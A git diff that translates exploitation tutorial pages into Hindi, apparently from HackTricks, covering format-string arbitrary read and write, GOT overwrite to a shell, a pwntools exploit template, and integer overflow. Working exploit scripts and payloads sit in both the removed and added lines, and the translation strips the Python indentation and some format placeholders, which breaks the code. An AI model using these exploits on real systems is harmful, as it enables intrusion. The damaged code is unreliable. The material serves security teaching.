Example: ("%3$d", var1, var2, var3) —> Access to var3 ``` +**उदाहरण:** -**Examples:** - -- Vulnerable example: - +- कमजोर उदाहरण: ```c char buffer[30]; gets(buffer); // Dangerous: takes user input without restrictions. printf(buffer); // If buffer contains "%x", it reads from the stack. ``` - -- Normal Use: - +- सामान्य उपयोग: ```c int value = 1205; printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5 ``` - -- With Missing Arguments: - +- गायब तर्कों के साथ: ```c printf("%x %x %x", value); // Unexpected output: reads random values from the stack. ``` - -- fprintf vulnerable: - +- fprintf कमजोर: ```c #include int main(int argc, char *argv[]) { - char *user_input; - user_input = argv[1]; - FILE *output_file = fopen("output.txt", "w"); - fprintf(output_file, user_input); // The user input can include formatters! - fclose(output_file); - return 0; +char *user_input; +user_input = argv[1]; +FILE *output_file = fopen("output.txt", "w"); +fprintf(output_file, user_input); // The user input can include formatters! +fclose(output_file); +return 0; } ``` +### **पॉइंटर्स तक पहुँचना** -### **Accessing Pointers** - -The format **`%$x`**, where `n` is a number, allows to indicate to printf to select the n parameter (from the stack). So if you want to read the 4th param from the stack using printf you could do: - +फॉर्मेट **`%$x`**, जहाँ `n` एक संख्या है, printf को स्टैक से n पैरामीटर चुनने के लिए संकेत करने की अनुमति देता है। इसलिए यदि आप printf का उपयोग करके स्टैक से 4वां पैरामीटर पढ़ना चाहते हैं, तो आप कर सकते हैं: ```c printf("%x %x %x %x") ``` +और आप पहले से चौथे पैरामीटर तक पढ़ सकते हैं। -and you would read from the first to the forth param. - -Or you could do: - +या आप कर सकते हैं: ```c printf("%4$x") ``` +और सीधे चौथे को पढ़ें। -and read directly the forth. - -Notice that the attacker controls the `printf` **parameter, which basically means that** his input is going to be in the stack when `printf` is called, which means that he could write specific memory addresses in the stack. +ध्यान दें कि हमलावर `printf` **पैरामीटर को नियंत्रित करता है, जिसका अर्थ है कि** उसका इनपुट `printf` के कॉल होने पर स्टैक में होगा, जिसका अर्थ है कि वह स्टैक में विशिष्ट मेमोरी पते लिख सकता है। > [!CAUTION] -> An attacker controlling this input, will be able to **add arbitrary address in the stack and make `printf` access them**. In the next section it will be explained how to use this behaviour. +> एक हमलावर जो इस इनपुट को नियंत्रित करता है, वह **स्टैक में मनमाने पते जोड़ने में सक्षम होगा और `printf` को उन्हें एक्सेस करने के लिए मजबूर कर सकता है**। अगले अनुभाग में इस व्यवहार का उपयोग कैसे करें, यह समझाया जाएगा। -## **Arbitrary Read** - -It's possible to use the formatter **`%n$s`** to make **`printf`** get the **address** situated in the **n position**, following it and **print it as if it was a string** (print until a 0x00 is found). So if the base address of the binary is **`0x8048000`**, and we know that the user input starts in the 4th position in the stack, it's possible to print the starting of the binary with: +## **मनमाना पढ़ना** +फॉर्मेटर **`%n$s`** का उपयोग करना संभव है ताकि **`printf`** **n स्थिति** में स्थित **पते** को प्राप्त कर सके, इसके बाद और **इसे एक स्ट्रिंग के रूप में प्रिंट कर सके** (जब तक 0x00 नहीं मिलता)। इसलिए यदि बाइनरी का बेस पता **`0x8048000`** है, और हम जानते हैं कि उपयोगकर्ता इनपुट स्टैक में चौथी स्थिति से शुरू होता है, तो बाइनरी की शुरुआत को प्रिंट करना संभव है: ```python from pwn import * @@ -106,18 +85,16 @@ payload += p32(0x8048000) #6th param p.sendline(payload) log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||' ``` - > [!CAUTION] -> Note that you cannot put the address 0x8048000 at the beginning of the input because the string will be cat in 0x00 at the end of that address. +> ध्यान दें कि आप इनपुट की शुरुआत में 0x8048000 का पता नहीं डाल सकते क्योंकि स्ट्रिंग उस पते के अंत में 0x00 पर कट जाएगी। -### Find offset +### ऑफसेट खोजें -To find the offset to your input you could send 4 or 8 bytes (`0x41414141`) followed by **`%1$x`** and **increase** the value till retrieve the `A's`. +अपने इनपुट के लिए ऑफसेट खोजने के लिए आप 4 या 8 बाइट्स (`0x41414141`) भेज सकते हैं उसके बाद **`%1$x`** और **मान बढ़ाएं** जब तक कि `A's` प्राप्त न हो जाएं।
-Brute Force printf offset - +ब्रूट फोर्स printf ऑफसेट ```python # Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak @@ -125,88 +102,82 @@ from pwn import * # Iterate over a range of integers for i in range(10): - # Construct a payload that includes the current integer as offset - payload = f"AAAA%{i}$x".encode() +# Construct a payload that includes the current integer as offset +payload = f"AAAA%{i}$x".encode() - # Start a new process of the "chall" binary - p = process("./chall") +# Start a new process of the "chall" binary +p = process("./chall") - # Send the payload to the process - p.sendline(payload) +# Send the payload to the process +p.sendline(payload) - # Read and store the output of the process - output = p.clean() +# Read and store the output of the process +output = p.clean() - # Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output - if b"41414141" in output: - # If the string is found, log the success message and break out of the loop - log.success(f"User input is at offset : {i}") - break +# Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output +if b"41414141" in output: +# If the string is found, log the success message and break out of the loop +log.success(f"User input is at offset : {i}") +break - # Close the process - p.close() +# Close the process +p.close() ``` -
-### How useful +### कितनी उपयोगी -Arbitrary reads can be useful to: +मनमाने पढ़ने से निम्नलिखित में मदद मिल सकती है: -- **Dump** the **binary** from memory -- **Access specific parts of memory where sensitive** **info** is stored (like canaries, encryption keys or custom passwords like in this [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value)) +- **बाइनरी** को मेमोरी से **डंप** करना +- **संवेदनशील** **जानकारी** संग्रहीत करने वाले मेमोरी के विशिष्ट भागों तक **पहुँच** प्राप्त करना (जैसे कि कैनरी, एन्क्रिप्शन कुंजी या कस्टम पासवर्ड जैसे इस [**CTF चुनौती**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value) में) -## **Arbitrary Write** +## **मनमाना लिखना** -The formatter **`%$n`** **writes** the **number of written bytes** in the **indicated address** in the \ param in the stack. If an attacker can write as many char as he will with printf, he is going to be able to make **`%$n`** write an arbitrary number in an arbitrary address. - -Fortunately, to write the number 9999, it's not needed to add 9999 "A"s to the input, in order to so so it's possible to use the formatter **`%.%$n`** to write the number **``** in the **address pointed by the `num` position**. +फॉर्मेटर **`%$n`** **लिखता** है **लिखे गए बाइट्स की संख्या** को **संकेतित पते** में \ पैरामीटर में स्टैक में। यदि एक हमलावर printf के साथ जितने भी अक्षर लिख सकता है, वह **`%$n`** को एक मनमाना संख्या को एक मनमाने पते पर लिखने में सक्षम होगा। +भाग्यवश, संख्या 9999 लिखने के लिए, इनपुट में 9999 "A"s जोड़ना आवश्यक नहीं है, इसलिए ऐसा करने के लिए फॉर्मेटर **`%.%$n`** का उपयोग करके संख्या **``** को **`num` स्थिति द्वारा इंगित पते** में लिखा जा सकता है। ```bash AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param AAAA.%500\$08x —> Param at offset 500 ``` +हालांकि, ध्यान दें कि आमतौर पर एक पता जैसे `0x08049724` (जो एक बार में लिखने के लिए एक HUGE संख्या है) लिखने के लिए, **`$hn`** का उपयोग किया जाता है बजाय **`$n`** के। यह **केवल 2 Bytes** लिखने की अनुमति देता है। इसलिए, यह ऑपरेशन दो बार किया जाता है, एक बार पते के उच्चतम 2B के लिए और दूसरी बार निम्नतम के लिए। -However, note that usually in order to write an address such as `0x08049724` (which is a HUGE number to write at once), **it's used `$hn`** instead of `$n`. This allows to **only write 2 Bytes**. Therefore this operation is done twice, one for the highest 2B of the address and another time for the lowest ones. +इसलिए, यह भेद्यता **किसी भी पते में कुछ भी लिखने की अनुमति देती है (मनमाना लेखन)।** -Therefore, this vulnerability allows to **write anything in any address (arbitrary write).** - -In this example, the goal is going to be to **overwrite** the **address** of a **function** in the **GOT** table that is going to be called later. Although this could abuse other arbitrary write to exec techniques: +इस उदाहरण में, लक्ष्य यह होगा कि **एक फ़ंक्शन** के **पते** को **ओवरराइट** किया जाए जो बाद में **GOT** तालिका में कॉल किया जाएगा। हालांकि, यह अन्य मनमाने लेखन को exec तकनीकों का दुरुपयोग कर सकता है: {{#ref}} ../arbitrary-write-2-exec/ {{#endref}} -We are going to **overwrite** a **function** that **receives** its **arguments** from the **user** and **point** it to the **`system`** **function**.\ -As mentioned, to write the address, usually 2 steps are needed: You **first writes 2Bytes** of the address and then the other 2. To do so **`$hn`** is used. +हम एक **फ़ंक्शन** को **ओवरराइट** करने जा रहे हैं जो **उपयोगकर्ता** से अपने **आर्गुमेंट्स** को **प्राप्त** करता है और इसे **`system`** **फ़ंक्शन** की ओर **इशारा** करता है।\ +जैसा कि उल्लेख किया गया है, पते को लिखने के लिए आमतौर पर 2 चरणों की आवश्यकता होती है: आप **पहले 2Bytes** का पता लिखते हैं और फिर अन्य 2। ऐसा करने के लिए **`$hn`** का उपयोग किया जाता है। -- **HOB** is called to the 2 higher bytes of the address -- **LOB** is called to the 2 lower bytes of the address +- **HOB** को पते के 2 उच्चतम बाइट्स के लिए कॉल किया जाता है +- **LOB** को पते के 2 निम्नतम बाइट्स के लिए कॉल किया जाता है -Then, because of how format string works you need to **write first the smallest** of \[HOB, LOB] and then the other one. +फिर, फ़ॉर्मेट स्ट्रिंग के काम करने के तरीके के कारण, आपको **पहले सबसे छोटे** \[HOB, LOB] को लिखना होगा और फिर दूसरे को। -If HOB < LOB\ +यदि HOB < LOB\ `[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]` -If HOB > LOB\ +यदि HOB > LOB\ `[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]` HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB - ```bash python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"' ``` - ### Pwntools Template -You can find a **template** to prepare a exploit for this kind of vulnerability in: +आप इस प्रकार की कमजोरियों के लिए एक **टेम्पलेट** तैयार करने के लिए पा सकते हैं: {{#ref}} format-strings-template.md {{#endref}} -Or this basic example from [**here**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite): - +या इस बुनियादी उदाहरण को [**यहां**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite) से: ```python from pwn import * @@ -225,27 +196,20 @@ p.sendline('/bin/sh') p.interactive() ``` +## फ़ॉर्मेट स्ट्रिंग्स से BOF -## Format Strings to BOF +एक फ़ॉर्मेट स्ट्रिंग भेद्यता की लिखने की क्रियाओं का दुरुपयोग करके **स्टैक के पते में लिखना** और **बफर ओवरफ्लो** प्रकार की भेद्यता का शोषण करना संभव है। -It's possible to abuse the write actions of a format string vulnerability to **write in addresses of the stack** and exploit a **buffer overflow** type of vulnerability. - -## Other Examples & References +## अन्य उदाहरण और संदर्भ - [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string) - [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4) - [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak) - [https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html](https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html) - - 32 bit, no relro, no canary, nx, no pie, basic use of format strings to leak the flag from the stack (no need to alter the execution flow) +- 32 बिट, कोई relro नहीं, कोई canary नहीं, nx, कोई pie नहीं, स्टैक से ध्वज लीक करने के लिए फ़ॉर्मेट स्ट्रिंग्स का बुनियादी उपयोग (कार्य निष्पादन प्रवाह को बदलने की आवश्यकता नहीं) - [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html) - - 32 bit, relro, no canary, nx, no pie, format string to overwrite the address `fflush` with the win function (ret2win) +- 32 बिट, relro, कोई canary नहीं, nx, कोई pie नहीं, फ़ॉर्मेट स्ट्रिंग `fflush` के पते को जीतने के कार्य के साथ ओवरराइट करने के लिए (ret2win) - [https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html) - - 32 bit, relro, no canary, nx, no pie, format string to write an address inside main in `.fini_array` (so the flow loops back 1 more time) and write the address to `system` in the GOT table pointing to `strlen`. When the flow goes back to main, `strlen` is executed with user input and pointing to `system`, it will execute the passed commands. - -
- -If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_). - -{% embed url="https://www.stmcyber.com/careers" %} +- 32 बिट, relro, कोई canary नहीं, nx, कोई pie नहीं, फ़ॉर्मेट स्ट्रिंग `.fini_array` में मुख्य के अंदर एक पते को लिखने के लिए (ताकि प्रवाह एक और बार लूप हो) और GOT तालिका में `system` के पते को `strlen` की ओर इंगित करने के लिए लिखें। जब प्रवाह मुख्य में वापस जाता है, तो `strlen` उपयोगकर्ता इनपुट के साथ निष्पादित होता है और `system` की ओर इंगित करता है, यह पास किए गए आदेशों को निष्पादित करेगा। {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/format-strings/format-strings-arbitrary-read-example.md b/src/binary-exploitation/format-strings/format-strings-arbitrary-read-example.md index 0665b14a1..988fe7f88 100644 --- a/src/binary-exploitation/format-strings/format-strings-arbitrary-read-example.md +++ b/src/binary-exploitation/format-strings/format-strings-arbitrary-read-example.md @@ -1,32 +1,27 @@ -# Format Strings - Arbitrary Read Example +# फ़ॉर्मेट स्ट्रिंग्स - मनमाने पढ़ने का उदाहरण {{#include ../../banners/hacktricks-training.md}} -## Read Binary Start - -### Code +## बाइनरी पढ़ना शुरू करें +### कोड ```c #include int main(void) { - char buffer[30]; +char buffer[30]; - fgets(buffer, sizeof(buffer), stdin); +fgets(buffer, sizeof(buffer), stdin); - printf(buffer); - return 0; +printf(buffer); +return 0; } ``` - -Compile it with: - +इसे संकलित करें: ```python clang -o fs-read fs-read.c -Wno-format-security -no-pie ``` - -### Exploit - +### शोषण ```python from pwn import * @@ -38,16 +33,14 @@ payload += p64(0x00400000) p.sendline(payload) log.info(p.clean()) ``` - -- The **offset is 11** because setting several As and **brute-forcing** with a loop offsets from 0 to 50 found that at offset 11 and with 5 extra chars (pipes `|` in our case), it's possible to control a full address. - - I used **`%11$p`** with padding until I so that the address was all 0x4141414141414141 -- The **format string payload is BEFORE the address** because the **printf stops reading at a null byte**, so if we send the address and then the format string, the printf will never reach the format string as a null byte will be found before -- The address selected is 0x00400000 because it's where the binary starts (no PIE) +- **ऑफसेट 11 है** क्योंकि कई A सेट करने और **ब्रूट-फोर्सिंग** करने से 0 से 50 तक के लूप में पाया गया कि ऑफसेट 11 पर और 5 अतिरिक्त अक्षरों (हमारे मामले में पाइप `|`) के साथ, एक पूर्ण पते को नियंत्रित करना संभव है। +- मैंने **`%11$p`** का उपयोग किया पैडिंग के साथ ताकि पता पूरी तरह से 0x4141414141414141 हो। +- **फॉर्मेट स्ट्रिंग पेलोड पता से पहले है** क्योंकि **printf एक नल बाइट पर पढ़ना बंद कर देता है**, इसलिए यदि हम पता भेजते हैं और फिर फॉर्मेट स्ट्रिंग, तो printf कभी भी फॉर्मेट स्ट्रिंग तक नहीं पहुंचेगा क्योंकि एक नल बाइट पहले ही मिल जाएगी। +- चयनित पता 0x00400000 है क्योंकि यहीं बाइनरी शुरू होती है (कोई PIE नहीं)
-## Read passwords - +## पासवर्ड पढ़ें ```c #include #include @@ -55,111 +48,103 @@ log.info(p.clean()) char bss_password[20] = "hardcodedPassBSS"; // Password in BSS int main() { - char stack_password[20] = "secretStackPass"; // Password in stack - char input1[20], input2[20]; +char stack_password[20] = "secretStackPass"; // Password in stack +char input1[20], input2[20]; - printf("Enter first password: "); - scanf("%19s", input1); +printf("Enter first password: "); +scanf("%19s", input1); - printf("Enter second password: "); - scanf("%19s", input2); +printf("Enter second password: "); +scanf("%19s", input2); - // Vulnerable printf - printf(input1); - printf("\n"); +// Vulnerable printf +printf(input1); +printf("\n"); - // Check both passwords - if (strcmp(input1, stack_password) == 0 && strcmp(input2, bss_password) == 0) { - printf("Access Granted.\n"); - } else { - printf("Access Denied.\n"); - } +// Check both passwords +if (strcmp(input1, stack_password) == 0 && strcmp(input2, bss_password) == 0) { +printf("Access Granted.\n"); +} else { +printf("Access Denied.\n"); +} - return 0; +return 0; } ``` - -Compile it with: - +इसे संकलित करें: ```bash clang -o fs-read fs-read.c -Wno-format-security ``` +### स्टैक से पढ़ें -### Read from stack - -The **`stack_password`** will be stored in the stack because it's a local variable, so just abusing printf to show the content of the stack is enough. This is an exploit to BF the first 100 positions to leak the passwords form the stack: - +**`stack_password`** स्टैक में संग्रहीत होगा क्योंकि यह एक स्थानीय चर है, इसलिए स्टैक की सामग्री को दिखाने के लिए printf का दुरुपयोग करना पर्याप्त है। यह स्टैक से पासवर्ड लीक करने के लिए पहले 100 स्थानों को BF करने का एक शोषण है: ```python from pwn import * for i in range(100): - print(f"Try: {i}") - payload = f"%{i}$s\na".encode() - p = process("./fs-read") - p.sendline(payload) - output = p.clean() - print(output) - p.close() +print(f"Try: {i}") +payload = f"%{i}$s\na".encode() +p = process("./fs-read") +p.sendline(payload) +output = p.clean() +print(output) +p.close() ``` - -In the image it's possible to see that we can leak the password from the stack in the `10th` position: +छवि में यह देखा जा सकता है कि हम `10th` स्थिति से स्टैक से पासवर्ड लीक कर सकते हैं:
-### Read data +### डेटा पढ़ें -Running the same exploit but with `%p` instead of `%s` it's possible to leak a heap address from the stack at `%25$p`. Moreover, comparing the leaked address (`0xaaaab7030894`) with the position of the password in memory in that process we can obtain the addresses difference: +समान एक्सप्लॉइट को `%s` के बजाय `%p` के साथ चलाने पर, यह संभव है कि हम स्टैक से `%25$p` पर एक हीप पता लीक कर सकें। इसके अलावा, लीक किए गए पते (`0xaaaab7030894`) की तुलना उस प्रक्रिया में मेमोरी में पासवर्ड की स्थिति से करने पर हम पते के अंतर को प्राप्त कर सकते हैं:
-Now it's time to find how to control 1 address in the stack to access it from the second format string vulnerability: - +अब यह पता लगाने का समय है कि स्टैक में 1 पते को कैसे नियंत्रित किया जाए ताकि इसे दूसरे फॉर्मेट स्ट्रिंग कमजोरियों से एक्सेस किया जा सके: ```python from pwn import * def leak_heap(p): - p.sendlineafter(b"first password:", b"%5$p") - p.recvline() - response = p.recvline().strip()[2:] #Remove new line and "0x" prefix - return int(response, 16) +p.sendlineafter(b"first password:", b"%5$p") +p.recvline() +response = p.recvline().strip()[2:] #Remove new line and "0x" prefix +return int(response, 16) for i in range(30): - p = process("./fs-read") +p = process("./fs-read") - heap_leak_addr = leak_heap(p) - print(f"Leaked heap: {hex(heap_leak_addr)}") +heap_leak_addr = leak_heap(p) +print(f"Leaked heap: {hex(heap_leak_addr)}") - password_addr = heap_leak_addr - 0x126a +password_addr = heap_leak_addr - 0x126a - print(f"Try: {i}") - payload = f"%{i}$p|||".encode() - payload += b"AAAAAAAA" +print(f"Try: {i}") +payload = f"%{i}$p|||".encode() +payload += b"AAAAAAAA" - p.sendline(payload) - output = p.clean() - print(output.decode("utf-8")) - p.close() +p.sendline(payload) +output = p.clean() +print(output.decode("utf-8")) +p.close() ``` - -And it's possible to see that in the **try 14** with the used passing we can control an address: +और यह देखना संभव है कि **try 14** में उपयोग किए गए पासिंग के साथ हम एक पते को नियंत्रित कर सकते हैं:
### Exploit - ```python from pwn import * p = process("./fs-read") def leak_heap(p): - # At offset 25 there is a heap leak - p.sendlineafter(b"first password:", b"%25$p") - p.recvline() - response = p.recvline().strip()[2:] #Remove new line and "0x" prefix - return int(response, 16) +# At offset 25 there is a heap leak +p.sendlineafter(b"first password:", b"%25$p") +p.recvline() +response = p.recvline().strip()[2:] #Remove new line and "0x" prefix +return int(response, 16) heap_leak_addr = leak_heap(p) print(f"Leaked heap: {hex(heap_leak_addr)}") @@ -178,7 +163,6 @@ output = p.clean() print(output) p.close() ``` -
{{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/format-strings/format-strings-template.md b/src/binary-exploitation/format-strings/format-strings-template.md index 71e1d4624..718e754e3 100644 --- a/src/binary-exploitation/format-strings/format-strings-template.md +++ b/src/binary-exploitation/format-strings/format-strings-template.md @@ -1,7 +1,6 @@ # Format Strings Template {{#include ../../banners/hacktricks-training.md}} - ```python from pwn import * from time import sleep @@ -36,23 +35,23 @@ print(" ====================== ") def connect_binary(): - global P, ELF_LOADED, ROP_LOADED +global P, ELF_LOADED, ROP_LOADED - if LOCAL: - P = process(LOCAL_BIN) # start the vuln binary - ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary - ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets +if LOCAL: +P = process(LOCAL_BIN) # start the vuln binary +ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary +ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets - elif REMOTETTCP: - P = remote('10.10.10.10',1338) # start the vuln binary - ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary - ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets +elif REMOTETTCP: +P = remote('10.10.10.10',1338) # start the vuln binary +ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary +ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets - elif REMOTESSH: - ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220) - P = ssh_shell.process(REMOTE_BIN) # start the vuln binary - ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary - ROP_LOADED = ROP(elf)# Find ROP gadgets +elif REMOTESSH: +ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220) +P = ssh_shell.process(REMOTE_BIN) # start the vuln binary +ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary +ROP_LOADED = ROP(elf)# Find ROP gadgets ####################################### @@ -60,39 +59,39 @@ def connect_binary(): ####################################### def send_payload(payload): - payload = PREFIX_PAYLOAD + payload + SUFFIX_PAYLOAD - log.info("payload = %s" % repr(payload)) - if len(payload) > MAX_LENTGH: print("!!!!!!!!! ERROR, MAX LENGTH EXCEEDED") - P.sendline(payload) - sleep(0.5) - return P.recv() +payload = PREFIX_PAYLOAD + payload + SUFFIX_PAYLOAD +log.info("payload = %s" % repr(payload)) +if len(payload) > MAX_LENTGH: print("!!!!!!!!! ERROR, MAX LENGTH EXCEEDED") +P.sendline(payload) +sleep(0.5) +return P.recv() def get_formatstring_config(): - global P +global P - for offset in range(1,1000): - connect_binary() - P.clean() +for offset in range(1,1000): +connect_binary() +P.clean() - payload = b"AAAA%" + bytes(str(offset), "utf-8") + b"$p" - recieved = send_payload(payload).strip() +payload = b"AAAA%" + bytes(str(offset), "utf-8") + b"$p" +recieved = send_payload(payload).strip() - if b"41" in recieved: - for padlen in range(0,4): - if b"41414141" in recieved: - connect_binary() - payload = b" "*padlen + b"BBBB%" + bytes(str(offset), "utf-8") + b"$p" - recieved = send_payload(payload).strip() - print(recieved) - if b"42424242" in recieved: - log.info(f"Found offset ({offset}) and padlen ({padlen})") - return offset, padlen +if b"41" in recieved: +for padlen in range(0,4): +if b"41414141" in recieved: +connect_binary() +payload = b" "*padlen + b"BBBB%" + bytes(str(offset), "utf-8") + b"$p" +recieved = send_payload(payload).strip() +print(recieved) +if b"42424242" in recieved: +log.info(f"Found offset ({offset}) and padlen ({padlen})") +return offset, padlen - else: - connect_binary() - payload = b" " + payload - recieved = send_payload(payload).strip() +else: +connect_binary() +payload = b" " + payload +recieved = send_payload(payload).strip() # In order to exploit a format string you need to find a position where part of your payload @@ -125,10 +124,10 @@ log.info(f"Printf GOT address: {hex(P_GOT)}") connect_binary() if GDB and not REMOTETTCP and not REMOTESSH: - # attach gdb and continue - # You can set breakpoints, for example "break *main" - gdb.attach(P.pid, "b *main") #Add more breaks separeted by "\n" - sleep(5) +# attach gdb and continue +# You can set breakpoints, for example "break *main" +gdb.attach(P.pid, "b *main") #Add more breaks separeted by "\n" +sleep(5) format_string = FmtStr(execute_fmt=send_payload, offset=offset, padlen=padlen, numbwritten=NNUM_ALREADY_WRITTEN_BYTES) #format_string.write(P_FINI_ARRAY, INIT_LOOP_ADDR) @@ -141,5 +140,4 @@ format_string.execute_writes() P.interactive() ``` - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/integer-overflow.md b/src/binary-exploitation/integer-overflow.md index cf1a6ca4f..7b792a51e 100644 --- a/src/binary-exploitation/integer-overflow.md +++ b/src/binary-exploitation/integer-overflow.md @@ -4,120 +4,112 @@ ## Basic Information -At the heart of an **integer overflow** is the limitation imposed by the **size** of data types in computer programming and the **interpretation** of the data. +**integer overflow** के केंद्र में कंप्यूटर प्रोग्रामिंग में डेटा प्रकारों के **आकार** द्वारा लगाए गए प्रतिबंध और डेटा की **व्याख्या** है। -For example, an **8-bit unsigned integer** can represent values from **0 to 255**. If you attempt to store the value 256 in an 8-bit unsigned integer, it wraps around to 0 due to the limitation of its storage capacity. Similarly, for a **16-bit unsigned integer**, which can hold values from **0 to 65,535**, adding 1 to 65,535 will wrap the value back to 0. +उदाहरण के लिए, एक **8-बिट बिना चिह्नित पूर्णांक** **0 से 255** तक के मानों का प्रतिनिधित्व कर सकता है। यदि आप 8-बिट बिना चिह्नित पूर्णांक में मान 256 को स्टोर करने का प्रयास करते हैं, तो यह इसके भंडारण क्षमता की सीमा के कारण 0 पर लिपट जाता है। इसी तरह, एक **16-बिट बिना चिह्नित पूर्णांक** के लिए, जो **0 से 65,535** तक के मानों को रख सकता है, 65,535 में 1 जोड़ने से मान फिर से 0 पर लिपट जाएगा। -Moreover, an **8-bit signed integer** can represent values from **-128 to 127**. This is because one bit is used to represent the sign (positive or negative), leaving 7 bits to represent the magnitude. The most negative number is represented as **-128** (binary `10000000`), and the most positive number is **127** (binary `01111111`). +इसके अलावा, एक **8-बिट चिह्नित पूर्णांक** **-128 से 127** तक के मानों का प्रतिनिधित्व कर सकता है। इसका कारण यह है कि एक बिट को चिह्न (सकारात्मक या नकारात्मक) का प्रतिनिधित्व करने के लिए उपयोग किया जाता है, जिससे 7 बिट्स को परिमाण का प्रतिनिधित्व करने के लिए छोड़ दिया जाता है। सबसे नकारात्मक संख्या को **-128** (बाइनरी `10000000`) के रूप में दर्शाया जाता है, और सबसे सकारात्मक संख्या **127** (बाइनरी `01111111`) है। ### Max values -For potential **web vulnerabilities** it's very interesting to know the maximum supported values: +संभावित **वेब कमजोरियों** के लिए अधिकतम समर्थित मानों को जानना बहुत दिलचस्प है: {{#tabs}} {{#tab name="Rust"}} - ```rust fn main() { - let mut quantity = 2147483647; +let mut quantity = 2147483647; - let (mul_result, _) = i32::overflowing_mul(32767, quantity); - let (add_result, _) = i32::overflowing_add(1, quantity); +let (mul_result, _) = i32::overflowing_mul(32767, quantity); +let (add_result, _) = i32::overflowing_add(1, quantity); - println!("{}", mul_result); - println!("{}", add_result); +println!("{}", mul_result); +println!("{}", add_result); } ``` - {{#endtab}} {{#tab name="C"}} - ```c #include #include int main() { - int a = INT_MAX; - int b = 0; - int c = 0; +int a = INT_MAX; +int b = 0; +int c = 0; - b = a * 100; - c = a + 1; +b = a * 100; +c = a + 1; - printf("%d\n", INT_MAX); - printf("%d\n", b); - printf("%d\n", c); - return 0; +printf("%d\n", INT_MAX); +printf("%d\n", b); +printf("%d\n", c); +return 0; } ``` - {{#endtab}} {{#endtabs}} -## Examples +## उदाहरण -### Pure overflow - -The printed result will be 0 as we overflowed the char: +### शुद्ध ओवरफ्लो +छापी गई परिणाम 0 होगी क्योंकि हमने char को ओवरफ्लो कर दिया: ```c #include int main() { - unsigned char max = 255; // 8-bit unsigned integer - unsigned char result = max + 1; - printf("Result: %d\n", result); // Expected to overflow - return 0; +unsigned char max = 255; // 8-bit unsigned integer +unsigned char result = max + 1; +printf("Result: %d\n", result); // Expected to overflow +return 0; } ``` - ### Signed to Unsigned Conversion -Consider a situation where a signed integer is read from user input and then used in a context that treats it as an unsigned integer, without proper validation: - +एक ऐसी स्थिति पर विचार करें जहाँ एक साइन किया हुआ पूर्णांक उपयोगकर्ता इनपुट से पढ़ा जाता है और फिर एक संदर्भ में उपयोग किया जाता है जो इसे एक असाइन किया हुआ पूर्णांक के रूप में मानता है, बिना उचित सत्यापन के: ```c #include int main() { - int userInput; // Signed integer - printf("Enter a number: "); - scanf("%d", &userInput); +int userInput; // Signed integer +printf("Enter a number: "); +scanf("%d", &userInput); - // Treating the signed input as unsigned without validation - unsigned int processedInput = (unsigned int)userInput; +// Treating the signed input as unsigned without validation +unsigned int processedInput = (unsigned int)userInput; - // A condition that might not work as intended if userInput is negative - if (processedInput > 1000) { - printf("Processed Input is large: %u\n", processedInput); - } else { - printf("Processed Input is within range: %u\n", processedInput); - } +// A condition that might not work as intended if userInput is negative +if (processedInput > 1000) { +printf("Processed Input is large: %u\n", processedInput); +} else { +printf("Processed Input is within range: %u\n", processedInput); +} - return 0; +return 0; } ``` +इस उदाहरण में, यदि एक उपयोगकर्ता नकारात्मक संख्या इनपुट करता है, तो इसे एक बड़े असाइन किए गए पूर्णांक के रूप में व्याख्यायित किया जाएगा, जो बाइनरी मानों की व्याख्या के तरीके के कारण है, जो संभावित रूप से अप्रत्याशित व्यवहार का कारण बन सकता है। -In this example, if a user inputs a negative number, it will be interpreted as a large unsigned integer due to the way binary values are interpreted, potentially leading to unexpected behavior. - -### Other Examples +### अन्य उदाहरण - [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html) - - 